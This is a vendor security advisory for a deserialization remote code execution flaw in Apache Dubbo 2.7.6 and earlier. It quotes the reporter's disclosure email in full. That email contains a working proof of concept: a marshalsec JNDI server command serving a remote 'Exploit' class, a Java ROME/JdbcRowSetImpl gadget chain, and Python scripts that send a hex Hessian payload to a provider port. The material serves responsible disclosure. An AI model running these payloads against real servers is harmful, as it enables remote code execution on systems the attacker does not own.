Severity: Important

Vendor:
The Dubbo Project Team


Versions Affected:
Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions (not supported by official team any longer)


Description:
This vulnerability can affect all Dubbo users stay on version 2.7.6 or lower. 
An attacker can send RPC requests with unrecognized service name or method name 
along with some malicious parameter payloads. When the malicious parameter is 
deserialized, it will execute some malicious code. More details can be found 
below. 


Mitigation:
1. All versions of Dubbo can upgrade to in 2.7.7 or higher version to avoid 
this vulnerability
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7

Credit:
This issue was first reported by Ruilin (514300...@qq.com)

Jun

> On Nov 22, 2019, at 9:30 PM, 侦探 <514300...@qq.com> wrote:
> 
> Dubbo Provider default deserialization cause RCE
> -----
> [demo] https://github.com/apache/dubbo-spring-boot-project
> start dubbo-spring-boot-auto-configure-provider-sample
> 
> 
> dubbo default deserialization was hessian,and when provider public the port 
> like
> the provider is on 12345 
> <c88d1...@46930910.08e3d75d.jpg>
> 
> we can use some gadgets to attack the Dubbo server 
> see https://github.com/mbechler/marshalsec
> 
> start JNDI:
> java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 
> http://127.0.0.1:8088/#Exploit 8087
> 
> let's quickly make a poc
> the gadget used ROME  for JNDI injection TO RCE
> need to add pom  for dubbo-spring-boot-auto-configure-provider-sample
> <dependency>
>     <groupId>com.rometools</groupId>
>     <artifactId>rome</artifactId>
>     <version>1.7.0</version>
> </dependency>
> 
> use dubbo-spring-boot-auto-configure-samples connect 
> dubbo-spring-boot-auto-configure-provider-sample
> private static Object getPayload() throws Exception {
>         String jndiUrl = "ldap://127.0.0.1:8087/Exploit";;
> 
>         ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, 
> JDKUtil.makeJNDIRowSet(jndiUrl));
>         EqualsBean root = new EqualsBean(ToStringBean.class,item);
> 
> 
>         return JDKUtil.makeMap(root,root);
>     }
>  @PostMapping("/test")
> public String sayHello(@RequestParam String name) throws Exception {
>     //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
>     Object o=getPayload();
>     return demoService.commonTest(o);
> }
> 
> request that url and see Wireshark
> <56811...@0b995e58.08e3d75d.jpg>
> we can see some data was serialized by hessian,
> Although the service names for the connection are specified above, it does 
> not affect our ability to deserialize the serialization data.We can modify 
> the value to verify it.
> 
> next  
> Ues python_EXP(I have modified the service name(bytes), which can prove that 
> it is not affected by this parameter) to attack Dubbo Provider Server
> 
> # -*- coding: utf-8 -*-
> import socket
> import time
> import re
> 
> def sendEvilObjData(sock):
>     
> payload="DABBC20000000000000000000000037805322E302E3230366F72672E6161616161612E61616161612E737072696E672E626F6F742E63656D6F2E636F6E73756D65722E4B656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A383038372F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6262626368652E61616161612E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E4B656D6F5365727669636509696E7465726661636530366F72672E6170616368652E61616161612E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E61656D6F536572766963650776657273696F6E05312E302E305A"
>     sock.send(payload.decode('hex'))
> def run(dip,dport):
>     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>     server_addr = (dip, dport)
>     sock.connect(server_addr)
>     sendEvilObjData(sock)
> 
> run("127.0.0.1",12345)
> 
> 
> <2f717...@1069fc5d.08e3d75d.jpg>
> 
> success
> 
> I simplified the gadgets a little bit and write a payload for JNDIinjection 
> ,you can test by it simply
> 
> # -*- coding: utf-8 -*-
> #pip3 install dubbo-py
> from dubbo.codec.hessian2 import Decoder,new_object
> from dubbo.client import DubboClient
> 
> client = DubboClient('127.0.0.1', 12345)
> 
> JdbcRowSetImpl=new_object(
>       'com.sun.rowset.JdbcRowSetImpl',
>       dataSource="ldap://127.0.0.1:8087/Exploit";,
>       strMatchColumns=["foo"]
>       )
> JdbcRowSetImplClass=new_object(
>       'java.lang.Class',
>       name="com.sun.rowset.JdbcRowSetImpl",
>       )
> toStringBean=new_object(
>       'com.rometools.rome.feed.impl.ToStringBean',
>       beanClass=JdbcRowSetImplClass,
>       obj=JdbcRowSetImpl
>       )
> 
> resp = client.send_request_and_return_response(
>     service_name='cn.rui0',
>     method_name='rce',
>     args=[toStringBean])
> 
> ---
> 
> It might be safe to verify that the service name exists first
> 
> 
> ----
> Best regards,
> Ruilin

Reply via email to